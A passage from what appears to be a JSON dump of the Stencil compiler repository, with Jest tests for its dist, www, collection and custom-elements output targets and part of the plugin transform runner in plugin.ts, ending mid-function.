({ config, compilerCtx, writeFileSpy } = setup({ buildEs5: false }));\n    await outputLazyLoader(config, compilerCtx);\n\n    const expectedIndexOutput = `export * from '../esm/loader.js';`;\n    expect(writeFileSpy).toHaveBeenCalledWith(resolve('/my-test-dir/loader/index.js'), expectedIndexOutput);\n\n    const expectedCjsIndexOutput = `module.exports = require('../cjs/loader.cjs.js');`;\n    expect(writeFileSpy).toHaveBeenCalledWith(resolve('/my-test-dir/loader/index.cjs.js'), expectedCjsIndexOutput);\n\n    const expectedES2017Output = `export * from '../esm/loader.js';`;\n    expect(writeFileSpy).toHaveBeenCalledWith(resolve('/my-test-dir/loader/index.es2017.js'), expectedES2017Output);\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/test/output-targets-collection.spec.ts",
    "content": "import { mockBuildCtx, mockCompilerCtx, mockModule, mockValidatedConfig } from '@stencil/core/testing';\n\nimport type * as d from '../../../declarations';\nimport * as test from '../../transformers/map-imports-to-path-aliases';\nimport { outputCollection } from '../dist-collection';\n\ndescribe('Dist Collection output target', () => {\n  let mockConfig: d.ValidatedConfig;\n  let mockedBuildCtx: d.BuildCtx;\n  let mockedCompilerCtx: d.CompilerCtx;\n  let changedModules: d.Module[];\n\n  let mapImportPathSpy: jest.SpyInstance;\n\n  const mockTraverse = jest.fn().mockImplementation((source: any) => source);\n  const mockMap = jest.fn().mockImplementation(() => mockTraverse);\n  const target: d.OutputTargetDistCollection = {\n    type: 'dist-collection',\n    dir: '',\n    collectionDir: '/dist/collection',\n  };\n\n  beforeEach(() => {\n    mockConfig = mockValidatedConfig({\n      srcDir: '/src',\n    });\n    mockedBuildCtx = mockBuildCtx();\n    mockedCompilerCtx = mockCompilerCtx();\n    changedModules = [\n      mockModule({\n        staticSourceFileText: '',\n        jsFilePath: '/src/main.js',\n        sourceFilePath: '/src/main.ts',\n      }),\n    ];\n\n    jest.spyOn(mockedCompilerCtx.fs, 'writeFile');\n\n    mapImportPathSpy = jest.spyOn(test, 'mapImportsToPathAliases');\n    mapImportPathSpy.mockReturnValue(mockMap);\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  describe('transform aliased import paths', () => {\n    // These tests ensure that the transformer for import paths is called regardless\n    // of the config value (the function will decide whether or not to actually do anything) to avoid\n    // a race condition with duplicate file writes\n    it.each([true, false])(\n      'calls function to transform aliased import paths when the output target config flag is `%s`',\n      async (transformAliasedImportPaths: boolean) => {\n        mockConfig.outputTargets = [\n          {\n            ...target,\n            transformAliasedImportPaths,\n          },\n        ];\n\n        await outputCollection(mockConfig, mockedCompilerCtx, mockedBuildCtx, changedModules);\n\n        expect(mapImportPathSpy).toHaveBeenCalledWith(mockConfig, '/dist/collection/main.js', {\n          collectionDir: '/dist/collection',\n          dir: '',\n          transformAliasedImportPaths,\n          type: 'dist-collection',\n        });\n        expect(mapImportPathSpy).toHaveBeenCalledTimes(1);\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/test/output-targets-dist-custom-elements.spec.ts",
    "content": "import {\n  mockBuildCtx,\n  mockCompilerCtx,\n  mockCompilerSystem,\n  mockModule,\n  mockValidatedConfig,\n} from '@stencil/core/testing';\nimport { DIST_CUSTOM_ELEMENTS } from '@utils';\nimport path from 'path';\n\nimport type * as d from '../../../declarations';\nimport { OutputTargetDistCustomElements } from '../../../declarations';\nimport { STENCIL_APP_GLOBALS_ID, STENCIL_INTERNAL_CLIENT_ID, USER_INDEX_ENTRY_ID } from '../../bundle/entry-alias-ids';\nimport { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub';\nimport * as outputCustomElementsMod from '../dist-custom-elements';\nimport {\n  addCustomElementInputs,\n  bundleCustomElements,\n  generateEntryPoint,\n  getBundleOptions,\n  outputCustomElements,\n} from '../dist-custom-elements';\n\nconst setup = () => {\n  const sys = mockCompilerSystem();\n  const config: d.ValidatedConfig = mockValidatedConfig({\n    buildAppCore: true,\n    buildEs5: true,\n    configPath: '/testing-path',\n    namespace: 'TestApp',\n    outputTargets: [{ type: DIST_CUSTOM_ELEMENTS }],\n    srcDir: '/src',\n    sys,\n  });\n  const compilerCtx = mockCompilerCtx(config);\n  const buildCtx = mockBuildCtx(config, compilerCtx);\n\n  const root = config.rootDir;\n  config.rootDir = path.join(root, 'User', 'testing', '/');\n  config.globalScript = path.join(root, 'User', 'testing', 'src', 'global.ts');\n\n  const bundleCustomElementsSpy = jest.spyOn(outputCustomElementsMod, 'bundleCustomElements');\n\n  compilerCtx.moduleMap.set('test', mockModule());\n\n  return { config, compilerCtx, buildCtx, bundleCustomElementsSpy };\n};\n\ndescribe('Custom Elements output target', () => {\n  it('should return early if config.buildDist is false', async () => {\n    const { config, compilerCtx, buildCtx, bundleCustomElementsSpy } = setup();\n    config.buildDist = false;\n    await outputCustomElements(config, compilerCtx, buildCtx);\n    expect(bundleCustomElementsSpy).not.toHaveBeenCalled();\n  });\n\n  it.each<d.OutputTarget[][]>([[[]], [[{ type: 'dist' }]]])(\n    'should return early if no appropriate output target (%j)',\n    async (outputTargets) => {\n      const { config, compilerCtx, buildCtx, bundleCustomElementsSpy } = setup();\n      config.outputTargets = outputTargets;\n      await outputCustomElements(config, compilerCtx, buildCtx);\n      expect(bundleCustomElementsSpy).not.toHaveBeenCalled();\n    },\n  );\n\n  describe('generateEntryPoint', () => {\n    it('should include global scripts when flag is `true`', () => {\n      const entryPoint = generateEntryPoint({\n        type: DIST_CUSTOM_ELEMENTS,\n        includeGlobalScripts: true,\n      });\n\n      expect(entryPoint).toEqual(`import { globalScripts } from '${STENCIL_APP_GLOBALS_ID}';\nexport { getAssetPath, setAssetPath, setNonce, setPlatformOptions, render } from '${STENCIL_INTERNAL_CLIENT_ID}';\nexport * from '${USER_INDEX_ENTRY_ID}';\n\nglobalScripts();\n`);\n    });\n\n    it('should not include global scripts when flag is `false`', () => {\n      const entryPoint = generateEntryPoint({\n        type: DIST_CUSTOM_ELEMENTS,\n        includeGlobalScripts: false,\n      });\n\n      expect(entryPoint)\n        .toEqual(`export { getAssetPath, setAssetPath, setNonce, setPlatformOptions, render } from '${STENCIL_INTERNAL_CLIENT_ID}';\nexport * from '${USER_INDEX_ENTRY_ID}';\n`);\n    });\n  });\n\n  describe('getBundleOptions', () => {\n    it('should set basic properties on BundleOptions', () => {\n      const { config, buildCtx, compilerCtx } = setup();\n      const options = getBundleOptions(config, buildCtx, compilerCtx, { type: DIST_CUSTOM_ELEMENTS });\n      expect(options.id).toBe('customElements');\n      expect(options.platform).toBe('client');\n      expect(options.inlineWorkers).toBe(true);\n      expect(options.inputs).toEqual({\n        index: '\\0core',\n      });\n      expect(options.loader).toEqual({});\n      expect(options.preserveEntrySignatures).toEqual('allow-extension');\n    });\n\n    it.each([true, false, undefined])('should set externalRuntime correctly when %p', (externalRuntime) => {\n      const { config, buildCtx, compilerCtx } = setup();\n      const options = getBundleOptions(config, buildCtx, compilerCtx, {\n        type: DIST_CUSTOM_ELEMENTS,\n        externalRuntime,\n      });\n      if (externalRuntime) {\n        expect(options.externalRuntime).toBe(true);\n      } else {\n        expect(options.externalRuntime).toBe(false);\n      }\n    });\n  });\n\n  describe('bundleCustomElements', () => {\n    it('should set a diagnostic if no `dir` prop on the output target', async () => {\n      const { config, compilerCtx, buildCtx } = setup();\n      const outputTarget: OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, externalRuntime: true };\n      await bundleCustomElements(config, compilerCtx, buildCtx, outputTarget);\n      expect(buildCtx.diagnostics).toEqual([\n        {\n          level: 'error',\n          lines: [],\n          type: 'build',\n          messageText: 'dist-custom-elements output target provided with no output target directory!',\n        },\n      ]);\n    });\n  });\n\n  describe('addCustomElementInputs', () => {\n    let config: d.ValidatedConfig;\n    let compilerCtx: d.CompilerCtx;\n    let buildCtx: d.BuildCtx;\n\n    beforeEach(() => {\n      ({ config, compilerCtx, buildCtx } = setup());\n    });\n\n    describe('no defined CustomElementsExportBehavior', () => {\n      it(\"doesn't re-export components from the index.js barrel file\", () => {\n        const componentOne = stubComponentCompilerMeta();\n        const componentTwo = stubComponentCompilerMeta({\n          componentClassName: 'MyBestComponent',\n          tagName: 'my-best-component',\n        });\n\n        buildCtx.components = [componentOne, componentTwo];\n\n        const bundleOptions = getBundleOptions(\n          config,\n          buildCtx,\n          compilerCtx,\n          config.outputTargets[0] as OutputTargetDistCustomElements,\n        );\n        addCustomElementInputs(buildCtx, bundleOptions, config.outputTargets[0] as OutputTargetDistCustomElements);\n        expect(bundleOptions.loader['\\0core']).toEqual(\n          `import { globalScripts } from '${STENCIL_APP_GLOBALS_ID}';\nexport { getAssetPath, setAssetPath, setNonce, setPlatformOptions, render } from '${STENCIL_INTERNAL_CLIENT_ID}';\nexport * from '${USER_INDEX_ENTRY_ID}';\n\nglobalScripts();\n`,\n        );\n      });\n    });\n\n    describe('CustomElementsExportBehavior.SINGLE_EXPORT_MODULE', () => {\n      beforeEach(() => {\n        (config.outputTargets[0] as OutputTargetDistCustomElements).customElementsExportBehavior =\n          'single-export-module';\n      });\n\n      it('should add imports to index.js for all included components', () => {\n        const componentOne = stubComponentCompilerMeta();\n        const componentTwo = stubComponentCompilerMeta({\n          componentClassName: 'MyBestComponent',\n          tagName: 'my-best-component',\n        });\n\n        buildCtx.components = [componentOne, componentTwo];\n\n        const bundleOptions = getBundleOptions(\n          config,\n          buildCtx,\n          compilerCtx,\n          config.outputTargets[0] as OutputTargetDistCustomElements,\n        );\n        addCustomElementInputs(buildCtx, bundleOptions, config.outputTargets[0] as OutputTargetDistCustomElements);\n        expect(bundleOptions.loader['\\0core']).toEqual(\n          `import { globalScripts } from '${STENCIL_APP_GLOBALS_ID}';\nexport { getAssetPath, setAssetPath, setNonce, setPlatformOptions, render } from '${STENCIL_INTERNAL_CLIENT_ID}';\nexport * from '${USER_INDEX_ENTRY_ID}';\nexport { StubCmp, defineCustomElement as defineCustomElementStubCmp } from '\\0StubCmp';\nexport { MyBestComponent, defineCustomElement as defineCustomElementMyBestComponent } from '\\0MyBestComponent';\n\nglobalScripts();\n`,\n        );\n      });\n\n      it('should correctly handle capitalization edge-cases', () => {\n        const component = stubComponentCompilerMeta({\n          componentClassName: 'ComponentWithJSX',\n          tagName: 'component-with-jsx',\n        });\n\n        buildCtx.components = [component];\n\n        const bundleOptions = getBundleOptions(\n          config,\n          buildCtx,\n          compilerCtx,\n          config.outputTargets[0] as OutputTargetDistCustomElements,\n        );\n        addCustomElementInputs(buildCtx, bundleOptions, config.outputTargets[0] as OutputTargetDistCustomElements);\n        expect(bundleOptions.loader['\\0core']).toEqual(\n          `import { globalScripts } from '${STENCIL_APP_GLOBALS_ID}';\nexport { getAssetPath, setAssetPath, setNonce, setPlatformOptions, render } from '${STENCIL_INTERNAL_CLIENT_ID}';\nexport * from '${USER_INDEX_ENTRY_ID}';\nexport { ComponentWithJsx, defineCustomElement as defineCustomElementComponentWithJsx } from '\\0ComponentWithJsx';\n\nglobalScripts();\n`,\n        );\n      });\n    });\n\n    describe('CustomElementsExportBehavior.BUNDLE', () => {\n      beforeEach(() => {\n        (config.outputTargets[0] as OutputTargetDistCustomElements).customElementsExportBehavior = 'bundle';\n      });\n\n      it('should add a `defineCustomElements` function to the index.js file', () => {\n        const componentOne = stubComponentCompilerMeta();\n        const componentTwo = stubComponentCompilerMeta({\n          componentClassName: 'MyBestComponent',\n          tagName: 'my-best-component',\n        });\n\n        buildCtx.components = [componentOne, componentTwo];\n\n        const bundleOptions = getBundleOptions(\n          config,\n          buildCtx,\n          compilerCtx,\n          config.outputTargets[0] as OutputTargetDistCustomElements,\n        );\n        addCustomElementInputs(buildCtx, bundleOptions, config.outputTargets[0] as OutputTargetDistCustomElements);\n        expect(bundleOptions.loader['\\0core']).toEqual(\n          `import { globalScripts } from '${STENCIL_APP_GLOBALS_ID}';\nimport { transformTag } from '@stencil/core/internal/client';\nimport { StubCmp } from '\\0StubCmp';\nimport { MyBestComponent } from '\\0MyBestComponent';\nexport { getAssetPath, setAssetPath, setNonce, setPlatformOptions, render } from '${STENCIL_INTERNAL_CLIENT_ID}';\nexport * from '${USER_INDEX_ENTRY_ID}';\n\nglobalScripts();\nexport const defineCustomElements = (opts) => {\n    if (typeof customElements !== 'undefined') {\n        [\n            StubCmp,\n            MyBestComponent,\n        ].forEach(cmp => {\n            if (!customElements.get(transformTag(cmp.is))) {\n                customElements.define(transformTag(cmp.is), cmp, opts);\n            }\n        });\n    }\n};\n`,\n        );\n      });\n    });\n\n    describe('autoLoader', () => {\n      it('should add a loader virtual module when autoLoader is true', () => {\n        const componentOne = stubComponentCompilerMeta();\n        const componentTwo = stubComponentCompilerMeta({\n          componentClassName: 'MyBestComponent',\n          tagName: 'my-best-component',\n        });\n\n        buildCtx.components = [componentOne, componentTwo];\n\n        const outputTarget = config.outputTargets[0] as OutputTargetDistCustomElements;\n        outputTarget.autoLoader = { fileName: 'loader', autoStart: true };\n\n        const bundleOptions = getBundleOptions(config, buildCtx, compilerCtx, outputTarget);\n        addCustomElementInputs(buildCtx, bundleOptions, outputTarget);\n\n        // Check loader input is added\n        expect(bundleOptions.inputs['loader']).toBe('\\0loader');\n\n        // Check loader module content\n        const loaderContent = bundleOptions.loader['\\0loader'];\n        expect(loaderContent).toContain(`import { transformTag } from '${STENCIL_INTERNAL_CLIENT_ID}'`);\n        expect(loaderContent).toContain(\"'stub-cmp': './stub-cmp.js'\");\n        expect(loaderContent).toContain(\"'my-best-component': './my-best-component.js'\");\n        expect(loaderContent).toContain('export function start(');\n        expect(loaderContent).toContain('export function stop(');\n        expect(loaderContent).toContain('start();'); // autoStart is true\n      });\n\n      it('should not auto-start when autoStart is false', () => {\n        const component = stubComponentCompilerMeta();\n        buildCtx.components = [component];\n\n        const outputTarget = config.outputTargets[0] as OutputTargetDistCustomElements;\n        outputTarget.autoLoader = { fileName: 'loader', autoStart: false };\n\n        const bundleOptions = getBundleOptions(config, buildCtx, compilerCtx, outputTarget);\n        addCustomElementInputs(buildCtx, bundleOptions, outputTarget);\n\n        const loaderContent = bundleOptions.loader['\\0loader'];\n        // Should export start/stop but NOT auto-call start()\n        expect(loaderContent).toContain('export function start(');\n        expect(loaderContent).toContain('export function stop(');\n        expect(loaderContent).not.toMatch(/^start\\(\\);$/m);\n      });\n\n      it('should use custom fileName for loader', () => {\n        const component = stubComponentCompilerMeta();\n        buildCtx.components = [component];\n\n        const outputTarget = config.outputTargets[0] as OutputTargetDistCustomElements;\n        outputTarget.autoLoader = { fileName: 'my-custom-loader', autoStart: true };\n\n        const bundleOptions = getBundleOptions(config, buildCtx, compilerCtx, outputTarget);\n        addCustomElementInputs(buildCtx, bundleOptions, outputTarget);\n\n        expect(bundleOptions.inputs['my-custom-loader']).toBe('\\0loader');\n      });\n\n      it('should not add loader when autoLoader is not set', () => {\n        const component = stubComponentCompilerMeta();\n        buildCtx.components = [component];\n\n        const outputTarget = config.outputTargets[0] as OutputTargetDistCustomElements;\n        // autoLoader is not set\n\n        const bundleOptions = getBundleOptions(config, buildCtx, compilerCtx, outputTarget);\n        addCustomElementInputs(buildCtx, bundleOptions, outputTarget);\n\n        expect(bundleOptions.inputs['loader']).toBeUndefined();\n        expect(bundleOptions.loader['\\0loader']).toBeUndefined();\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/test/output-targets-dist.spec.ts",
    "content": "// @ts-nocheck\nimport { Compiler, Config } from '@stencil/core/compiler';\nimport { mockConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { expectFilesDoNotExist, expectFilesExist } from '../../../testing/testing-utils';\n\ndescribe.skip('outputTarget, dist', () => {\n  jest.setTimeout(20000);\n  let compiler: Compiler;\n  let config: Config;\n  const root = path.resolve('/');\n\n  it('default dist files', async () => {\n    config = mockConfig({\n      buildAppCore: true,\n      buildEs5: true,\n      globalScript: path.join(root, 'User', 'testing', 'src', 'global.ts'),\n      namespace: 'TestApp',\n      outputTargets: [{ type: 'dist' }],\n      rootDir: path.join(root, 'User', 'testing', '/'),\n    });\n\n    compiler = new Compiler(config);\n\n    await compiler.fs.writeFiles({\n      [path.join(config.sys.getClientPath('polyfills/index.js'))]: `/* polyfills */`,\n      [path.join(root, 'User', 'testing', 'package.json')]: `{\n        \"module\": \"dist/index.mjs\",\n        \"main\": \"dist/index.js\",\n        \"collection\": \"dist/collection/collection-manifest.json\",\n        \"types\": \"dist/types/components.d.ts\"\n      }`,\n      [path.join(root, 'User', 'testing', 'src', 'index.html')]: `<cmp-a></cmp-a>`,\n      [path.join(root, 'User', 'testing', 'src', 'components', 'cmp-a.tsx')]: `\n        @Component({\n          tag: 'cmp-a',\n          styleUrls: {\n            ios: 'cmp-a.ios.css',\n            md: 'cmp-a.md.css'\n          }\n        }) export class CmpA {}`,\n      [path.join(root, 'User', 'testing', 'src', 'components', 'cmp-a.ios.css')]: `cmp-a { color: blue; }`,\n      [path.join(root, 'User', 'testing', 'src', 'components', 'cmp-a.md.css')]: `cmp-a { color: green; }`,\n      [path.join(root, 'User', 'testing', 'src', 'global.ts')]:\n        `export default function() { console.log('my global'); }`,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    expectFilesExist(compiler.fs, [\n      path.join(root, 'User', 'testing', 'dist', 'index.js'),\n      path.join(root, 'User', 'testing', 'dist', 'index.mjs'),\n      path.join(root, 'User', 'testing', 'dist', 'index.js.map'),\n\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'collection-manifest.json'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'components', 'cmp-a.js'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'components', 'cmp-a.js.map'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'components', 'cmp-a.ios.css'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'components', 'cmp-a.md.css'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'global.js'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'global.js.map'),\n\n      path.join(root, 'User', 'testing', 'dist', 'esm', 'index.mjs'),\n      path.join(root, 'User', 'testing', 'dist', 'esm', 'index.js.map'),\n      path.join(root, 'User', 'testing', 'dist', 'esm', 'loader.mjs'),\n      path.join(root, 'User', 'testing', 'dist', 'esm-es5', 'index.mjs'),\n      path.join(root, 'User', 'testing', 'dist', 'esm-es5', 'index.js.map'),\n      path.join(root, 'User', 'testing', 'dist', 'esm-es5', 'loader.mjs'),\n      path.join(root, 'User', 'testing', 'dist', 'esm', 'polyfills', 'index.js'),\n      path.join(root, 'User', 'testing', 'dist', 'esm', 'polyfills', 'index.js.map'),\n\n      path.join(root, 'User', 'testing', 'dist', 'loader'),\n\n      path.join(root, 'User', 'testing', 'dist', 'types'),\n\n      path.join(root, 'User', 'testing', 'src', 'components.d.ts'),\n    ]);\n\n    expectFilesDoNotExist(compiler.fs, [\n      path.join(root, 'User', 'testing', 'build'),\n      path.join(root, 'User', 'testing', 'esm'),\n      path.join(root, 'User', 'testing', 'es5'),\n      path.join(root, 'User', 'testing', 'www'),\n      path.join(root, 'User', 'testing', 'index.html'),\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/test/output-targets-www-dist.spec.ts",
    "content": "// @ts-nocheck\nimport { Compiler, Config } from '@stencil/core/compiler';\nimport type * as d from '@stencil/core/declarations';\nimport { mockConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { expectFilesDoNotExist, expectFilesExist } from '../../../testing/testing-utils';\n\ndescribe.skip('outputTarget, www / dist / docs', () => {\n  jest.setTimeout(20000);\n  let compiler: Compiler;\n  let config: Config;\n  const root = path.resolve('/');\n\n  it('dist, www and readme files w/ custom paths', async () => {\n    config = mockConfig({\n      buildAppCore: true,\n      flags: { docs: true },\n      namespace: 'TestApp',\n      outputTargets: [\n        {\n          type: 'www',\n          dir: 'custom-www',\n          buildDir: 'www-build',\n          indexHtml: 'custom-index.htm',\n        } as any as d.OutputTargetDist,\n        {\n          type: 'dist',\n          dir: 'custom-dist',\n          buildDir: 'dist-build',\n          collectionDir: 'dist-collection',\n          typesDir: 'custom-types',\n        },\n        {\n          type: 'docs',\n        } as d.OutputTargetDocsReadme,\n      ],\n      rootDir: path.join(root, 'User', 'testing', '/'),\n    });\n\n    compiler = new Compiler(config);\n\n    await compiler.fs.writeFiles({\n      [path.join(root, 'User', 'testing', 'package.json')]: `{\n        \"module\": \"custom-dist/index.mjs\",\n        \"main\": \"custom-dist/index.js\",\n        \"collection\": \"custom-dist/dist-collection/collection-manifest.json\",\n        \"types\": \"custom-dist/custom-types/components.d.ts\"\n      }`,\n      [path.join(root, 'User', 'testing', 'src', 'index.html')]: `<cmp-a></cmp-a>`,\n      [path.join(config.sys.getClientPath('polyfills/index.js'))]: `/* polyfills */`,\n      [path.join(root, 'User', 'testing', 'src', 'components', 'cmp-a.tsx')]:\n        `@Component({ tag: 'cmp-a' }) export class CmpA {}`,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    expectFilesExist(compiler.fs, [\n      path.join(root, 'User', 'testing', 'custom-dist', 'cjs'),\n      path.join(root, 'User', 'testing', 'custom-dist', 'esm', 'polyfills', 'index.js'),\n      path.join(root, 'User', 'testing', 'custom-dist', 'esm', 'polyfills', 'index.js.map'),\n    ]);\n\n    expectFilesDoNotExist(compiler.fs, [\n      path.join(root, 'User', 'testing', 'www', '/'),\n      path.join(root, 'User', 'testing', 'www', 'index.html'),\n      path.join(root, 'User', 'testing', 'www', 'custom-index.htm'),\n      path.join(root, 'User', 'testing', 'custom-www', 'index.html'),\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/test/output-targets-www.spec.ts",
    "content": "// @ts-nocheck\nimport { Compiler, Config } from '@stencil/core/compiler';\nimport { mockConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { expectFilesDoNotExist, expectFilesExist } from '../../../testing/testing-utils';\n\ndescribe.skip('outputTarget, www', () => {\n  jest.setTimeout(20000);\n  let compiler: Compiler;\n  let config: Config;\n  const root = path.resolve('/');\n\n  it('default www files', async () => {\n    config = mockConfig({\n      buildAppCore: true,\n      namespace: 'App',\n      rootDir: path.join(root, 'User', 'testing', '/'),\n    });\n\n    compiler = new Compiler(config);\n\n    await compiler.fs.writeFiles({\n      [path.join(root, 'User', 'testing', 'src', 'index.html')]: `<cmp-a></cmp-a>`,\n      [path.join(root, 'User', 'testing', 'src', 'components', 'cmp-a.tsx')]:\n        `@Component({ tag: 'cmp-a' }) export class CmpA {}`,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    expectFilesExist(compiler.fs, [\n      path.join(root, 'User', 'testing', 'www'),\n      path.join(root, 'User', 'testing', 'www', 'build'),\n      path.join(root, 'User', 'testing', 'www', 'build', 'app.js'),\n      path.join(root, 'User', 'testing', 'www', 'build', 'app.js.map'),\n      path.join(root, 'User', 'testing', 'www', 'build', 'app.esm.js'),\n      path.join(root, 'User', 'testing', 'www', 'build', 'cmp-a.entry.js'),\n      path.join(root, 'User', 'testing', 'www', 'build', 'cmp-a.entry.js.map'),\n\n      path.join(root, 'User', 'testing', 'www', 'index.html'),\n\n      path.join(root, 'User', 'testing', 'src', 'components.d.ts'),\n    ]);\n\n    expectFilesDoNotExist(compiler.fs, [\n      path.join(root, 'User', 'testing', 'src', 'components', 'cmp-a.js'),\n\n      path.join(root, 'User', 'testing', 'dist', '/'),\n      path.join(root, 'User', 'testing', 'dist', 'collection'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'collection-manifest.json'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'components'),\n      path.join(root, 'User', 'testing', 'dist', 'collection', 'components', 'cmp-a.js'),\n\n      path.join(root, 'User', 'testing', 'dist', 'testapp', '/'),\n      path.join(root, 'User', 'testing', 'dist', 'testapp.js'),\n      path.join(root, 'User', 'testing', 'dist', 'testapp', 'cmp-a.entry.js'),\n      path.join(root, 'User', 'testing', 'dist', 'testapp', 'es5-build-disabled.js'),\n      path.join(root, 'User', 'testing', 'dist', 'testapp', 'testapp.core.js'),\n\n      path.join(root, 'User', 'testing', 'dist', 'types'),\n      path.join(root, 'User', 'testing', 'dist', 'types', 'components'),\n      path.join(root, 'User', 'testing', 'dist', 'types', 'components.d.ts'),\n      path.join(root, 'User', 'testing', 'dist', 'types', 'components', 'cmp-a.d.ts'),\n      path.join(root, 'User', 'testing', 'dist', 'types', 'stencil.core.d.ts'),\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/plugin/plugin.ts",
    "content": "import { buildError, catchError, isFunction, isOutputTargetDocs, isString, relative } from '@utils';\nimport { basename } from 'path';\n\nimport type * as d from '../../declarations';\nimport { PluginCtx, PluginTransformResults } from '../../declarations';\nimport { parseCssImports } from '../style/css-imports';\n\nexport const runPluginResolveId = async (pluginCtx: PluginCtx, importee: string) => {\n  for (const plugin of pluginCtx.config?.plugins ?? []) {\n    if (isFunction(plugin.resolveId)) {\n      try {\n        const results = plugin.resolveId(importee, null, pluginCtx);\n\n        if (results != null) {\n          if (isFunction((results as any).then)) {\n            const promiseResults = await results;\n            if (promiseResults != null) {\n              return promiseResults as string;\n            }\n          } else if (isString(results)) {\n            return results;\n          }\n        }\n      } catch (e: any) {\n        catchError(pluginCtx.diagnostics, e);\n      }\n    }\n  }\n\n  // default resolvedId\n  return importee;\n};\n\nexport const runPluginLoad = async (pluginCtx: PluginCtx, id: string) => {\n  for (const plugin of pluginCtx.config?.plugins ?? []) {\n    if (isFunction(plugin.load)) {\n      try {\n        const results = plugin.load(id, pluginCtx);\n\n        if (results != null) {\n          if (isFunction((results as any).then)) {\n            const promiseResults = await results;\n            if (promiseResults != null) {\n              return promiseResults as string;\n            }\n          } else if (isString(results)) {\n            return results;\n          }\n        }\n      } catch (e: any) {\n        catchError(pluginCtx.diagnostics, e);\n      }\n    }\n  }\n\n  // default load()\n  return pluginCtx.fs.readFile(id);\n};\n\n/**\n * returns a subset of the baseline array of strings\n * @param baseline baseline of files\n * @param superset files that were added by a transform\n * @returns files that were added by a transform but haven't been part of the baseline\n */\nconst getDependencySubset = (baseline: string[] | undefined, superset: string[] = []) => {\n  if (!Array.isArray(baseline)) {\n    return [];\n  }\n\n  return baseline.filter((f) => !superset.includes(f));\n};\n\nexport const runPluginTransforms = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  id: string,\n  cmp?: d.ComponentCompilerMeta,\n): Promise<PluginTransformResults | null> => {\n  const pluginCtx: PluginCtx = {\n    config: config,\n    sys: config.sys,\n    fs: compilerCtx.fs,\n    cache: compilerCtx.cache,\n    diagnostics: [],\n  };\n\n  const resolvedId = await runPluginResolveId(pluginCtx, id);\n  const sourceText = await runPluginLoad(pluginCtx, resolvedId);\n  if (!isString(sourceText)) {\n    const diagnostic = buildError(buildCtx.diagnostics);\n    diagnostic.header = `Unable to find \"${basename(id)}\"`;\n    diagnostic.messageText = `The file \"${relative(config.rootDir, id)}\" was unable to load.`;\n    return null;\n  }\n\n  const transformResults = {\n    code: sourceText,\n    id: id,\n    dependencies: [] as string[],\n  } satisfies PluginTransformResults;\n\n  const isRawCssFile = transformResults.id.toLowerCase().endsWith('.css');\n  const shouldParseCssDocs = cmp != null && config.outputTargets.some(isOutputTargetDocs);\n\n  if (isRawCssFile) {\n    // concat all css @imports into one file\n    // when the entry file is a .css file (not .scss)\n    // do this BEFORE transformations on css files\n    if (shouldParseCssDocs && cmp != null) {\n      cmp.styleDocs = cmp.styleDocs || [];\n      const cssParseResults = await parseCssImports(\n        config,\n        compilerCtx,\n        buildCtx,\n        id,\n        id,\n        transformResults.code,\n        cmp.styleDocs,\n      );\n      transformResults.code = cssParseResults.styleText;\n      transformResults.dependencies = cssParseResults.imports;\n    } else {\n      const cssParseResults = await parseCssImports(config, compilerCtx, buildCtx, id, id, transformResults.code);\n      transformResults.code = cssParseResults.styleText;\n      transformResults.dependencies = cssParseResults.imports;\n    }\n  }\n\n  for (const plugin of pluginCtx.config?.plugins ?? []) {\n    if (isFunction(plugin.transform)) {\n      try {\n        let pluginTransformResults: PluginTransformResults | string;\n        const results = plugin.transform(transformResults.code, transformResults.id, pluginCtx);\n\n        if (results != null) {\n          if (isFunction((results as any).then)) {\n            pluginTransformResults = await results;\n          } else {\n            pluginTransformResults = results as PluginTransformResults;\n          }\n\n          if (pluginTransformResults != null) {\n            if (isString(pluginTransformResults)) {\n              transformResults.code = pluginTransformResults;\n            } else {\n              if (isString(pluginTransformResults.code)) {\n                transformResults.code = pluginTransformResults.code;\n              }\n              if (isString(pluginTransformResults.id)) {\n                transformResults.id = pluginTransformResults.id;\n              }\n\n              /**\n               * add dependencies from plugin transform results, e.g. transformed sass files\n               */\n              transformResults.dependencies.push(\n                ...getDependencySubset(pluginTransformResults.dependencies, transformResults.dependencies),\n              );\n            }\n          }\n        }\n      } catch (e: any) {\n        catchError(buildCtx.diagnostics, e);\n      }\n    }\n  }\n\n  buildCtx.diagnostics.push(...pluginCtx.diagnostics);\n\n  if (!isRawCssFile) {\n    // sass precompiler just ran and converted @import \"my.css\" into @import url(\"my.css\")\n    // because of the \".css\" extension. Sass did NOT concat the \".css\" files into the output\n    // but only updated it to use url() instead. Let's go ahead and concat the url() css\n    // files into one file like we did for raw .css files.\n    // do this AFTER transformations on non-css files\n    if (shouldParseCssDocs && cmp != null) 